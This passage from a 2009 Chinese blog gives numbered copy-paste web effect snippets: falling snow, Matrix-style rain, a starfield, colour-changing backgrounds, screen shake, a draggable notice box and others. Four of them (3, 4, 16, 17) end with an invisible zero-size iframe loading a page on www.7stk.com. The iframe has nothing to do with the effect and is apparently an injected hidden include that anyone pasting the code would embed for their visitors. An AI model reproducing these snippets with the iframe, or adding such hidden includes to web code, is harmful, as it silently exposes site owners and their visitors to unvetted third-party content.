              for (i=0;i<=numberofletters;i++) {var thisspan=eval("document.span"+i+".document"); thisspan.write(spancontent[i]);

                     thisspan.close();  var thisspan=eval("document.span"+i); thisspan.left=0; thisspan.top=0}moveball()    }}

function randommaker(range) {rand=Math.floor(range*Math.random());    return rand}

function moveball() {

       if (document.all) {checkposition(); makesnake(); document.all.span0.style.posTop+=stepy; timer=setTimeout("moveball()",tempo)       }

              if (document.layers) {checkposition(); makesnake(); document.span0.top+=stepy; timer=setTimeout("moveball()",tempo)       }}

function makesnake() {

              for (i=numberofletters; i>=1; i--) {                  xpos[i]=xpos[i-1];                ypos[i]=ypos[i-1]       }

              if (document.all) {xpos[0]=document.all.span0.style.posLeft+stepx; ypos[0]=document.all.span0.style.posTop+stepy;               for (i=0;i<=numberofletters;i++) { 

                         var thisspan=eval("document.all.span"+(i)+".style"); thisspan.posLeft=xpos[i]; thisspan.posTop=ypos[i]           }            }

              if (document.layers) {                  xpos[0]=document.span0.left+stepx;                  ypos[0]=document.span0.top+stepy

                     for (i=0;i<=numberofletters;i++) {var thisspan = eval("document.span"+i); thisspan.left=xpos[i]; thisspan.top=ypos[i]                  }            }}

function checkposition() {

       if (document.all) {

              if (document.all.span0.style.posLeft>marginright) {                  stepx=(stepx+randommaker(2))*-1;                    document.all.span0.style.posLeft-=1            }

              if (document.all.span0.style.posLeft<marginleft) {                    stepx=(stepx+randommaker(2))*-1;                    document.all.span0.style.posLeft+=1           }    

              if (document.all.span0.style.posTop>marginbottom) {               stepy=(stepy+randommaker(2))*-1;                    document.all.span0.style.posTop-=1            }

              if (document.all.span0.style.posTop<margintop) {                    stepy=(stepy+randommaker(2))*-1;                    document.all.span0.style.posTop+=1            }     }

       if (document.layers) {

              if (document.span0.left>=marginright) {                   stepx=(stepx+randommaker(2))*-1;                    document.span0.left-=10              }

              if (document.span0.left<=marginleft) {                     stepx=(stepx+randommaker(2))*-1;                    document.span0.left+=10             }    

              if (document.span0.top>=marginbottom) {                stepy=(stepy+randommaker(2))*-1;                    document.span0.top-=10              }

              if (document.span0.top<=margintop) {               stepy=(stepy+randommaker(2))*-1;                    document.span0.top+=10             }     }}

setValues()

for (i=0;i<=numberofletters;i++) {document.write("<span id='span"+i+"' style='position:absolute'></span>")}

// End -->

</SCRIPT>

 

 

0 Comments

Tue

03

Mar

2009

19、颜色变化按钮代码

19、颜色变化按钮代码

脚本说明:

第一步:把如下代码加入<head>区域中

<script language="Javascript">

 <!--

 function backcolor(form){

 

         temp = ""

 

         for (var i = 0; i < 16; i++) {

 

                 temp = form.color[i].value

 

                 if (form.color[i].checked){ document.bgColor = temp }

                 }

          }

 

 function randombackground(){

 

         document.bgColor = getColor()

         }

 function getColor(){

         currentdate = new Date()

         backgroundcolor = currentdate.getSeconds()

         if (backgroundcolor > 44)

                 backgroundcolor = backgroundcolor - 45

         else if (backgroundcolor > 29)

                 backgroundcolor = backgroundcolor - 30

         else if (backgroundcolor > 15)

                 backgroundcolor = backgroundcolor - 16

         if (backgroundcolor == 0 )

                 return "olive";

         else if (backgroundcolor == 1 )

                 return "teal";

         else if (backgroundcolor == 2 )

                 return "red";

         else if (backgroundcolor == 3 )

                 return "blue";

         else if (backgroundcolor == 4 )

                 return "maroon";

         else if (backgroundcolor == 5 )

                 return "navy";

         else if (backgroundcolor == 6 )

                 return "lime";

         else if (backgroundcolor == 7 )

                 return "fuschia";

         else if (backgroundcolor == 8 )

                 return "green";

         else if (backgroundcolor == 9 )

                 return "purple";

         else if (backgroundcolor == 10 )

                 return "gray";

         else if (backgroundcolor == 11 )

                 return "yellow";

         else if (backgroundcolor == 12 )

                 return "aqua";

         else if (backgroundcolor == 13 )

                 return "black";

         else if (backgroundcolor == 14 )

                 return "white";

         else if (backgroundcolor == 15 )

                 return "silver";

         }

 

 // -->

 </script>

 

 

第二步:把如下代码加入<body>区域中

 <FORM>

 <input type="button" value="Random" onClick="randombackground()">

 </form>

 

 

 

0 Comments

Tue

03

Mar

2009

18、页面产生百合窗

18、页面产生百合窗

脚本说明:

 

第一步:把如下代码加入<head>区域中

 

<style>

 

<!--

 

.intro{position:absolute;

 

left:0;

 

top:0;

 

layer-background-color:green;

 

background-color:green;

 

border:0.1px solid green

 

}

 

-->

 

</style>

 

 

 

 

 

第二步:把如下代码加入<body>区域中

 

<div id="i1" class="intro"></div><div id="i2" class="intro"></div><div id="i3"

 

class="intro"></div><div id="i4" class="intro"></div><div id="i5" class="intro"></div><div

 

id="i6" class="intro"></div><div id="i7" class="intro"></div><div id="i8" class="intro"></div>

 

 

 

<SCRIPT language=javascript>

 

<!--

 

var speed=30

 

var temp=new Array()

 

var temp2=new Array()

 

if (document.layers){

 

for (i=1;i<=8;i++){

 

temp[i]=eval("document.i"+i+".clip")

 

temp2[i]=eval("document.i"+i)

 

temp[i].width=window.innerWidth/8-0.3

 

temp[i].height=window.innerHeight

 

temp2[i].left=(i-1)*temp[i].width

 

}

 

}

 

else if (document.all){

 

var clipbottom=document.body.offsetHeight,cliptop=0

 

for (i=1;i<=8;i++){

 

temp[i]=eval("document.all.i"+i+".style")

 

temp[i].width=document.body.clientWidth/8

 

temp[i].height=document.body.offsetHeight

 

temp[i].left=(i-1)*parseInt(temp[i].width)

 

}

 

}

 

function openit(){

 

window.scrollTo(0,0)

 

if (document.layers){

 

for (i=1;i<=8;i=i+2)

 

temp[i].bottom-=speed

 

for (i=2;i<=8;i=i+2)

 

temp[i].top+=speed

 

if (temp[2].top>window.innerHeight)

 

clearInterval(stopit)

 

}

 

else if (document.all){

 

clipbottom-=speed

 

for (i=1;i<=8;i=i+2){

 

temp[i].clip="rect(0 auto+"+clipbottom+" 0)"

 

}

 

cliptop+=speed

 

for (i=2;i<=8;i=i+2){

 

temp[i].clip="rect("+cliptop+" auto auto)"

 

}

 

if (clipbottom<=0)

 

clearInterval(stopit)

 

}

 

}

 

function gogo(){

 

stopit=setInterval("openit()",100)

 

}

 

gogo()

 

 

 

-->

 

 

 

 

 

</SCRIPT>

 

 

0 Comments

Tue

03

Mar

2009

17、黑客帝国特效代码

17、黑客帝国特效代码

<!--将以下代码加入HTML<Body></Body>之间-->

 

<script language="JavaScript">

<!--

if (document.all){

Cols=6;

Cl=24;//Space's are included so real length is 48!

Cs=10;

Ts=10;

Tc='#008800';

Tc1='#00ff00';

MnS=20;

MxS=30;

I=Cs;

Sp=new Array();S=new Array();Y=new Array();

C=new Array();M=new Array();B=new Array();

RC=new Array();E=new Array();Tcc=new Array(0,1);

document.write("<div id='Container' style='position:absolute;top:0;left:-"+Cs+"'>");

document.write("<div style='position:relative'>");

for(i=0; i < Cols; i++){

S[i]=I+=Cs;

document.write("<div id='A' style='position:absolute;top:0;font-family:Arial;font-size:"

+Ts+"px;left:"+S[i]+";width:"+Ts+"px;height:0px;color:"+Tc+";visibility:hidden'></div>");

}

document.write("</div></div>");

 

for(j=0; j < Cols; j++){

RC[j]=1+Math.round(Math.random()*Cl); 

Y[j]=0;

Sp[j]=Math.round(MnS+Math.random()*MxS);

for(i=0; i < RC[j]; i++){

 B[i]='';

 C[i]=Math.round(Math.random()*1)+' ';

 M[j]=B[0]+=C[i];

 }

}

function Cycle(){

Container.style.top=window.document.body.scrollTop;

for (i=0; i < Cols; i++){

var r = Math.floor(Math.random()*Tcc.length);

E[i] = '<font color='+Tc1+'>'+Tcc[r]+'</font>';

Y[i]+=Sp[i];

 

if (Y[i] > window.document.body.clientHeight){

 for(i2=0; i2 < Cols; i2++){

 RC[i2]=1+Math.round(Math.random()*Cl); 

 for(i3=0; i3 < RC[i2]; i3++){

 B[i3]='';

 C[i3]=Math.round(Math.random()*1)+' ';

 C[Math.floor(Math.random()*i2)]=' '+' ';

 M[i]=B[0]+=C[i3];

 Y[i]=-Ts*M[i].length/1.5;

 A[i].style.visibility='visible';

 }

 Sp[i]=Math.round(MnS+Math.random()*MxS);

 }

}

A[i].style.top=Y[i];

A[i].innerHTML=M[i]+' '+E[i]+' ';

}

setTimeout('Cycle()',20)

}

Cycle();

}

// -->

</script>

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

</body>

 

</html>

 

0 Comments

Tue

03

Mar

2009

16、闪烁的B酷背景代码

16、闪烁的B酷背景代码

<!--将以下代码加入HTML<Body></Body>之间-->

 

<script language="JavaScript">

<!-- Space Variation by kurt.jojoo@jojoo.net

if (document.all){

xL=5;

xH=0;

xW=0;

xR=0;

xE=0;

xMY=0;

xMX=0;

xWd=0;

xHd=0;

xF=new Array();

xY=new Array();

xX=new Array();

xS=new Array();

xA=new Array();

xB=new Array();

ini=new Array();

cl=new Array('#fff000','#0000FF','#ff0000','#00ff00','#ff00ff','#ffa500')

document.write('<div id="xouter" style="position:absolute;top:0px;left:0px"><div style="position:relative">');

for (i=0; i < xL; i++){

document.write('<div id="xie" style="position:absolute;top:0;left:0;width:10px;height:10px;'

+'font-family:Courier New;font-size:50px;color:#ffffff">.</div>');

}

document.write('</div></div>');

//Initial Placement!

function Set(){

for (i=0; i < xL; i++){

xH=window.document.body.offsetHeight;

xW=window.document.body.offsetWidth;

xA[i]=Math.round(Math.random()*xH);

xB[i]=Math.round(Math.random()*xW);

xS[i]=Math.random()*0.07+0.05;

xR=Math.round(Math.random()*3);

xE=Math.round(Math.random()*2500+50)

if (xR == 3) xB[i]=-xE;

if (xR == 2) xB[i]=xW+xE;

if (xR == 1) xA[i]=-xE;

if (xR == 0) xA[i]=xH;

xF[i]=xW/14;

}

}

Set();

function Assign(){

xouter.style.top=document.body.scrollTop;

for (i=0; i < xL; i++){

xF[i]-=xS[i]*25;

if (xF[i] < 4) xF[i]=3;

xie[i].style.top =xY[i];

xie[i].style.left=xX[i];

xie[i].style.fontSize=xF[i];

xie[i].style.filter='glow(color='+ini[i]+', strength='+xF[i]/3+')';

}

}

function fly(){

var N=Math.floor(Math.random()*cl.length)

xMY=window.document.body.clientHeight/2;

xMX=window.document.body.clientWidth/2;

xWd=Math.round(Math.random()*40+5);

xHd=Math.round(Math.random()*30+5);

for (i=0; i < xL; i++)

{

xY[i]=xA[i]+=(xMY-xA[i])*(xS[i]);             

xX[i]=xB[i]+=(xMX-xB[i])*(xS[i]); 

if ((xX[i] > xMX-xWd) && (xX[i] < xMX+xWd) && (xY[i] > xMY-xHd) && (xY[i] < xMY+xHd)){

 

 xH=window.document.body.offsetHeight;

 xW=window.document.body.offsetWidth;

 xA[i]=Math.round(Math.random()*xH);

 xB[i]=Math.round(Math.random()*xW);

 xS[i]=Math.random()*0.05+0.05;

 xR=Math.round(Math.random()*3);

 xE=Math.round(Math.random()*50+50)

 if (xR == 3) xB[i]=-xE;

 if (xR == 2) xB[i]=xW+xE;

 if (xR == 1) xA[i]=-xE;

 if (xR == 0) xA[i]=xH+xE;

}

if ((xX[i] < 0) || (xX[i] > xW) || (xY[i] < 0) || (xY[i] > xH))

 {

 xF[i]=xW/14;

 ini[i]=cl[N];

 }

}

Assign();

setTimeout('fly()',10);

}

fly();

}

// -->

</script>

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

</body>

 

</html>

 

0 Comments

Tue

03

Mar

2009

15、闪亮的表格代码

<< 新文本 >>

0 Comments

Tue

03

Mar

2009

14、浏览器彩色滚动条

14、浏览器彩色滚动条

<!--将以下代码加入HTML<Head></Head>之间-->

<STYLE>

Body{

Scrollbar-Face-Color:FF0000;

Scrollbar-Highlight-Color:FF8000;

Scrollbar-Shadow-Color:FF8000;

Scrollbar-3Dlight-Color:ECE9D8;

Scrollbar-Darkshadow-Color:ECE9D8;

Scrollbar-Arrow-Color:FFFF00;

Scrollbar-Track-Color:0000FF;

}</STYLE>

 

0 Comments

Tue

03

Mar

2009

13、文字光照效果代码

13、文字光照效果代码

<!--将以下代码加入HTML<Body></Body>之间-->

 

<script language="VBScript">

Option Explicit

sub window_OnLoad()

    call myLightObject.filters.light(0).addambient(0,0,255,30)

       call myLightObject.filters.light(0).addcone(400,400,200,100,100,200,204,200,80,10)

end sub

sub document_onMouseMove()

    call myLightObject.filters.light(0).MoveLight(1,window.event.x,window.event.y,0,1)

end sub  

</script>

<div id="myLightObject" style="position: relative; height: 400px; width: 400px; top: 10px; left: 0px; color: White; filter: light">

<center>

对你的思念 是一天又一天,<BR>

孤单的我 还是没有改变,<BR>

美丽的梦 何时才能出现,<BR>

亲爱的你 好想再见你一面。<BR>

<BR>

秋天的风 一阵阵地吹过,<BR>

想起了去年的这个时候,<BR>

你的心到底在想些什么,<BR>

为什么留下这个结局让我承受。<BR>

<BR>

最爱你的人是我,<BR>

你怎么舍得我难过,<BR>

在我最需要你的时候<BR>

没有一句话就走,<BR>

<BR>

最爱你的人是我,<BR>

你怎么舍得我难过,<BR>

对你付出了这么多<BR>

你却没有感动过<BR>

</center></div>

 

0 Comments

Tue

03

Mar

2009

12、公告栏网页代码

12、公告栏网页代码

<!--将以下代码加入HTML<Body></Body>之间-->

<script language="javascript">

var IE5=(document.getElementById && document.all)? true : false;

var W3C=(document.getElementById)? true: false;

var currIDb=null, currIDs=null, xoff=0, yoff=0; zctr=0; totz=0;

function trackmouse(evt){

if((currIDb!=null) && (currIDs!=null)){

var x=(IE5)? event.clientX+document.body.scrollLeft : evt.pageX;

var y=(IE5)? event.clientY+document.body.scrollTop : evt.pageY;

currIDb.style.left=x+xoff+'px';

currIDs.style.left=x+xoff+10+'px';

currIDb.style.top=y+yoff+'px';

currIDs.style.top=y+yoff+10+'px';

return false;

}}

 

function stopdrag(){

currIDb=null;

currIDs=null;

NS6bugfix();

}

 

function grab_id(evt){

xoff=parseInt(this.IDb.style.left)-((IE5)? event.clientX+document.body.scrollLeft : evt.pageX);

yoff=parseInt(this.IDb.style.top)-((IE5)? event.clientY+document.body.scrollTop : evt.pageY);

currIDb=this.IDb;

currIDs=this.IDs;

}

 

function NS6bugfix(){

if(!IE5){

self.resizeBy(0,1);

self.resizeBy(0,-1);

}}

 

function incrzindex(){

zctr=zctr+2;

this.subb.style.zIndex=zctr;

this.subs.style.zIndex=zctr-1;

}

 

function createPopup(id, title, width, height, x , y , isdraggable, boxcolor, barcolor, shadowcolor, text, textcolor, textptsize, textfamily ){

if(W3C){

zctr+=2;

totz=zctr;

var txt='';

txt+='<div id="'+id+'_s" style="position:absolute; left:'+(x+10)+'px; top:'+(y+10)+'px; width:'+width+'px; height:'+height+'px; background-color:'+shadowcolor+'; filter:alpha(opacity=50); visibility:visible"> </div>';

txt+='<div id="'+id+'_b" style="border:outset '+barcolor+' 2px; position:absolute; left:'+x+'px; top:'+y+'px; width:'+width+'px; overflow:hidden; height:'+height+'px; background-color:'+boxcolor+'; visibility:visible">';

txt+='<div style="width:'+width+'px; height:16px; background-color:'+barcolor+'; padding:0px; border:1px"><table cellpadding="0" cellspacing="0" border="0" width="'+(IE5? width-4 : width)+'"><tr><td width="'+(width-20)+'"><div id="'+id+'_h" style="width:'+(width-20)+'px; height:14px; font: bold 12px sans-serif; color:'+textcolor+'"> '+title+'</div></td><td align="right"><a onmousedown="document.getElementById(\''+id+'_s\').style.display=\'none\'; document.getElementById(\''+id+'_b\').style.display=\'none\';return false"><img src="closeb.gif" border="0" height="15" width="15"></a></td></tr></table></div>';

txt+='<div id="'+id+'_ov" width:'+width+'px; style="margin:2px; color:'+textcolor+'; font:'+textptsize+'pt '+textfamily+';">'+text+'</div></div>';

document.write(txt);

this.IDh=document.getElementById(id+'_h');

this.IDh.IDb=document.getElementById(id+'_b');

this.IDh.IDs=document.getElementById(id+'_s');

this.IDh.IDb.subs=this.IDh.IDs;

this.IDh.IDb.subb=this.IDh.IDb;

this.IDh.IDb.IDov=document.getElementById(id+'_ov');

if(IE5){

this.IDh.IDb.IDov.style.width=width-6;

this.IDh.IDb.IDov.style.height=height-22;

this.IDh.IDb.IDov.style.scrollbarBaseColor=boxcolor;

this.IDh.IDb.IDov.style.overflow="auto";

}else{

this.IDh.IDs.style.MozOpacity=.5;

}

this.IDh.IDb.onmousedown=incrzindex;

if(isdraggable){

this.IDh.onmousedown=grab_id;

this.IDh.onmouseup=stopdrag;

}}}

 

if(W3C)document.onmousemove=trackmouse;

if(!IE5 && W3C)window.onload=NS6bugfix;

createPopup('box3','网页特效代码' ,288, 90, 275, 155, true, 'FF8000' , '000000' , '800000' , '欢迎 欢迎 热烈欢迎' , 'FFFF00' , 9 , '宋体');</script>

 

0 Comments

Tue

03

Mar

2009

11、背景调色板代码

11、背景调色板代码

脚本说明:

把如下代码加入<body>区域中

<script language="JavaScript">

<!--

 

// Copyright (c) 1996-1997 Tomer Shiran. All rights reserved.

// Permission given to use the script provided that this notice remains as is.

// Additional scripts can be found at http://www.geocities.com/~yehuda/

 

// create 6-element array

var hex = new Array(6)

 

// assign non-dithered descriptors

hex[0] = "FF"

hex[1] = "CC"

hex[2] = "99"

hex[3] = "66"

hex[4] = "33"

hex[5] = "00"

 

// accept triplet string and display as background color

function display(triplet) {

       // set color as background color

       document.bgColor = '#' + triplet

 

       // display the color hexadecimal triplet

       alert('现在的背景色是 #'+triplet)

}

 

// draw a single table cell based on all descriptors

function drawCell(red, green, blue) {

       // open cell with specified hexadecimal triplet background color

       document.write('<TD BGCOLOR="#' + red + green + blue + '">')

 

       // open a hypertext link with javascript: scheme to call display function

       document.write('<A HREF="javascript:display(\'' + (red + green + blue) + '\')">')

 

       // print transparent image (use any height and width)

       document.write('<IMG SRC="place.gif" BORDER=0 HEIGHT=12 WIDTH=12>')

 

       // close link tag

       document.write('</A>')

 

       // close table cell

       document.write('</TD>')

}

 

// draw table row based on red and blue descriptors

function drawRow(red, blue) {

       // open table row

       document.write('<TR>')

 

       // loop through all non-dithered color descripters as green hex

       for (var i = 0; i < 6; ++i) {

              drawCell(red, hex[i], blue)

       }

 

       // close current table row

       document.write('</TR>')

}

 

// draw table for one of six color cube panels

function drawTable(blue) {

       // open table (one of six cube panels)

       document.write('<TABLE CELLPADDING=0 CELLSPACING=0 BORDER=0>')

 

       // loop through all non-dithered color descripters as red hex

       for (var i = 0; i < 6; ++i) {

              drawRow(hex[i], blue)

       }

 

       // close current table

       document.write('</TABLE>')

}

 

// draw all cube panels inside table cells

function drawCube() {

       // open table

       document.write('<TABLE CELLPADDING=5 CELLSPACING=0 BORDER=1><TR>')

 

       // loop through all non-dithered color descripters as blue hex

       for (var i = 0; i < 6; ++i) {

              // open table cell with white background color

              document.write('<TD BGCOLOR="#FFFFFF">')

 

              // call function to create cube panel with hex[i] blue hex

              drawTable(hex[i])

 

              // close current table cell

              document.write('</TD>')

       }

 

       // close table row and table

       document.write('</TR></TABLE>')

}

 

// call function to begin execution

drawCube()

 

// -->

</script>

 

 

0 Comments

Tue

03

Mar

2009

10、屏幕地震特效代码

10、屏幕地震特效代码

<!--将以下代码加入HTML<Body></Body>之间-->

 

<SCRIPT language=javascript>function shake_xy(n)

{

 if (self.moveBy)

 {

  for (i = 10; i > 0; i--)

  {

   for (j = n; j > 0; j--)

   {

    self.moveBy(0,i);

    self.moveBy(i,0);

    self.moveBy(0,-i);

    self.moveBy(-i,0);

   }

  }

 }

}

 

function shake_x(n)

{

 if (self.moveBy)

 {

  for (i = 10; i > 0; i--)

  {

   for (j = n; j > 0; j--)

   {

    self.moveBy(i,0);

    self.moveBy(-i,0);

   }

  }

 }

}

 

function shake_y(n)

{

 if (self.moveBy)

 {

  for (i = 10; i > 0; i--)

  {

   for (j = n; j > 0; j--)

   {

    self.moveBy(0,i);

    self.moveBy(0,-i);

   }

  }

 }

}

</SCRIPT>

<A href="#" onclick=shake_x(5)>左右震动</A>

<A href="#" onclick=shake_y(5)>上下震动</A>

<A href="#" onclick=shake_xy(2)>整屏震动</A>

0 Comments

Tue

03

Mar

2009

9、退出页面的告别语

9、退出页面的告别语

<body onunload= alert('慢走不送啊!')>

 

1 Comments

Tue

03

Mar

2009

8、进入页面的欢迎语

8、进入页面的欢迎语

<body onload= alert('Hello,饭已OK,进来米西吧!')>

 

1 Comments

Tue

03

Mar

2009

7、闪电闪烁背景代码

7、闪电闪烁背景代码

<!--将以下代码加入HTML<Body></Body>之间-->

<script LANGUAGE="JavaScript">

function blinkOn(){

theWin.document.bgColor = "000000"

nTimes++

JSCTimeOutID = window.setTimeout("blinkOff()",50);

}

function blinkOff(){

theWin.document.bgColor = "FFFFFF"

if (nTimes < 3)

JSCTimeOutID = window.setTimeout("blinkOn()",50);

else theWin.history.go(0)

}

function blinkit(aWin)

{

nTimes = 0

theWin = aWin

JSCTimeOutID = window.setTimeout("blinkOn()",50);

}

</script>

<div align="center"><center><p><input TYPE="BUTTON" VALUE="让暴风雨来的更猛烈些吧!" onClick="blinkit(self)">

</p>

</center></div>

</form>

0 Comments

Tue

03

Mar

2009

6、双击滚屏单击停止

6、双击滚屏单击停止

<!--将以下代码加入HTML<Body></Body>之间-->

<script language"javascript">

var currentpos,timer;

function initialize()

{

timer=setInterval("scrollwindow()",10);

}

function sc(){

clearInterval(timer);     

}

function scrollwindow()

{

currentpos=document.body.scrollTop;

window.scroll(0,++currentpos);

if (currentpos != document.body.scrollTop)

sc();

}

document.onmousedown=sc

document.ondblclick=initialize

</script>

 

 

 

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p> </p>

 

</body>

 

</html>

 

0 Comments

Tue

03

Mar

2009

5、自动滚屏特效代码

5、自动滚屏特效代码

<html>

 

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>新建网页 1</title>

</head>

 

<body>

<!--将以下代码加入HTML<Body></Body>之间-->

<script language="JavaScript1.2">

 

var speed=1

var currentpos=0,alt=1,curpos1=0,curpos2=-1

function initialize(){

startit()

}

function scrollwindow(){

if (document.all)

temp=document.body.scrollTop

else

temp=window.pageYOffset

if (alt==0)

alt=1

else

alt=0

if (alt==0)

curpos1=temp

else

curpos2=temp

if (curpos1!=curpos2){

if (document.all)

currentpos=document.body.scrollTop+speed

else

currentpos=window.pageYOffset+speed

window.scroll(0,currentpos)

}

else{

currentpos=0

window.scroll(0,currentpos)

}

}

function startit(){

setInterval("scrollwindow()",10)

}

window.onload=initialize

</script>

<SCRIPT type="text/javascript" src=""></SCRIPT>

<SCRIPT language="JavaScript">

<!--

BaiduWriteAD("zouwenyedg","3");

//-->

</SCRIPT>

 

 

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p> </p>

<p>1111111111111111</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p> </p>

<p>1</p>

<p>1</p>

<p>1</p>

<p>1</p>

<p> </p>

<p>1</p>

<p>1</p>

<p> </p>

<p>1</p>

<p>1</p>

<p>1</p>

<p> </p>

<p> </p>

<p>1</p>

<p> </p>

<p>1</p>

<p>1</p>

<p> </p>

<p>1</p>

<p>1</p>

<p> </p>

<p> </p>

<p> </p>

<p>1</p>

 

 

</body>

 

</html>

 

</body>

 

</html>

 

0 Comments

Tue

03

Mar

2009

4、变色背景特效代码

4、变色背景特效代码

<!-- <body onLoad="chgCol(); pingpong();">替换原有的<body> -->

<!--将以下代码加入HTML<Body></Body>之间-->

<script language="JavaScript">

<!-- Hide from JavaScript-Impaired Browsers

var pos = 10;

function initArray() {

 this.length = initArray.arguments.length;

 for (var i = 0; i < this.length; i++) {

  this[i] = initArray.arguments[i];

  }

}

var col=new initArray("4b","5b","8b","8b");

col[0] = "white";

col[1] = "coral";

col[2] = "orange";

col[3] = "red";

col[4] = "greenyellow";

col[5] = "lime";

col[6] = "turquoise";

col[7] = "coral";

col[8] = "blueviolet";

col[9] = "violet";

 

function chgCol() {

  pos++;

  if (pos<0||pos>9) {

    pos = 0;

    }

  document.bgColor = col[pos];

  setTimeout("chgCol()",1000);

 }

 

var yourwords = "";var buffer1="           ";

var buffer2="           ";

var message1=buffer1+yourwords+buffer2;

var dir = "left";var speed =150;

function pingpong(){if (dir == "left")

 {    message2=message1.substring(2,message1.length)+"  ";

   window.status=message2; 

  setTimeout("pingpong();",speed);

   message1=message2;

   if (message1.substring(0,1) == "*") dir="right";

  }

else

 {    message2="  "+message1.substring(0,message1.length-2);

   window.status=message2;  

 setTimeout("pingpong();",speed);

   message1=message2;

   if (message1.substring(message1.length-1,message1.length) == "*") dir="left";

 }

}

// -->

</script>

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

</body>

 

</html>

 

0 Comments

Tue

03

Mar

2009

3、雪花背景网页特效

3、雪花背景网页特效

<!-- <body bgcolor=#000000 onLoad="snow()" text="#FFFFFF">替换原有的<body> -->

<!--将以下代码加入HTML<Body></Body>之间-->

<script language="JavaScript">

<!--

N = 40;

Y = new Array();

X = new Array();

S = new Array();

A = new Array();

B = new Array();

M = new Array();

V = (document.layers)?1:0;

 

iH=(document.layers)?window.innerHeight:window.document.body.clientHeight;

iW=(document.layers)?window.innerWidth:window.document.body.clientWidth;

for (i=0; i < N; i++){                                                               

 Y[i]=Math.round(Math.random()*iH);

 X[i]=Math.round(Math.random()*iW);

 S[i]=Math.round(Math.random()*5+2);

 A[i]=0;

 B[i]=Math.random()*0.1+0.1;

 M[i]=Math.round(Math.random()*1+1);

}

if (V){

for (i = 0; i < N; i++)

{document.write("<LAYER NAME='sn"+i+"' LEFT=0 TOP=0 BGCOLOR='#FFFFF0' CLIP='0,0,"+M[i]+","+M[i]+"'></LAYER>")}

}

else{

document.write('<div style="position:absolute;top:0px;left:0px">');

document.write('<div style="position:relative">');

for (i = 0; i < N; i++)

{document.write('<div id="si" style="position:absolute;top:0;left:0;width:'+M[i]+';height:'+M[i]+';background:#fffff0;font-size:'+M[i]+'"></div>')}

document.write('</div></div>');

}

function snow(){

var H=(document.layers)?window.innerHeight:window.document.body.clientHeight;

var W=(document.layers)?window.innerWidth:window.document.body.clientWidth;

var T=(document.layers)?window.pageYOffset:document.body.scrollTop;

var L=(document.layers)?window.pageXOffset:document.body.scrollLeft;

for (i=0; i < N; i++){

sy=S[i]*Math.sin(90*Math.PI/180);

sx=S[i]*Math.cos(A[i]);

Y[i]+=sy;

X[i]+=sx;

if (Y[i] > H){

Y[i]=-10;

X[i]=Math.round(Math.random()*W);

M[i]=Math.round(Math.random()*1+1);

S[i]=Math.round(Math.random()*5+2);

}

if (V){document.layers['sn'+i].left=X[i];document.layers['sn'+i].top=Y[i]+T}

else{si[i].style.pixelLeft=X[i];si[i].style.pixelTop=Y[i]+T}

A[i]+=B[i];

}

setTimeout('snow()',10);

}

//-->

</script>

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

</body>

 

</html>

 

0 Comments

Tue

03

Mar

2009

2、礼花背景网页代码

2、礼花背景网页代码

<!--将以下代码加入HTML<Body></Body>之间-->

 

<layer name="a0" left=10 top=10 visibility=show bgcolor="#ffffff" clip="0,0,1,1"></layer>

<layer name="a1" left=10 top=10 visibility=show bgcolor="#fff000" clip="0,0,1,1"></layer>

<layer name="a2" left=10 top=10 visibility=show bgcolor="#ffa000" clip="0,0,1,1"></layer>

<layer name="a3" left=10 top=10 visibility=show bgcolor="#ff00ff" clip="0,0,1,1"></layer>

<layer name="a4" left=10 top=10 visibility=show bgcolor="#00ff00" clip="0,0,1,1"></layer>

<layer name="a5" left=10 top=10 visibility=show bgcolor="#ff00ff" clip="0,0,1,1"></layer>

<layer name="a6" left=10 top=10 visibility=show bgcolor="#ff0000" clip="0,0,1,1"></layer>

<layer name="a7" left=10 top=10 visibility=show bgcolor="#ffffff" clip="0,0,1,1"></layer>

<layer name="a8" left=10 top=10 visibility=show bgcolor="#fff000" clip="0,0,1,1"></layer>

<layer name="a9" left=10 top=10 visibility=show bgcolor="#ffa000" clip="0,0,1,1"></layer>

<layer name="a10" left=10 top=10 visibility=show bgcolor="#ff00ff" clip="0,0,1,1"></layer>

<layer name="a11" left=10 top=10 visibility=show bgcolor="#00ff00" clip="0,0,2,2"></layer>

<layer name="a12" left=10 top=10 visibility=show bgcolor="#0000ff" clip="0,0,2,2"></layer>

<layer name="a13" left=10 top=10 visibility=show bgcolor="#ff0000" clip="0,0,2,2"></layer>

<div id="starsDiv" style="position:absolute;top:0px;left:0px">

<div style="position:relative;width:2px;height:2px;background:#ffffff;font-size:2px"></div>

<div style="position:relative;width:1px;height:1px;background:#fff000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ffa000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ff00ff;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#00ff00;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#0000ff;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#FF0000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ffffff;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#fff000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ffa000;font-size:1px"></div>

<div style="position:relative;width:1px;height:1px;background:#ff00ff;font-size:1px"></div>

<div style="position:relative;width:2px;height:2px;background:#ff00ff;font-size:2px"></div>

<div style="position:relative;width:1px;height:1px;background:#0000ff;font-size:1px"></div>

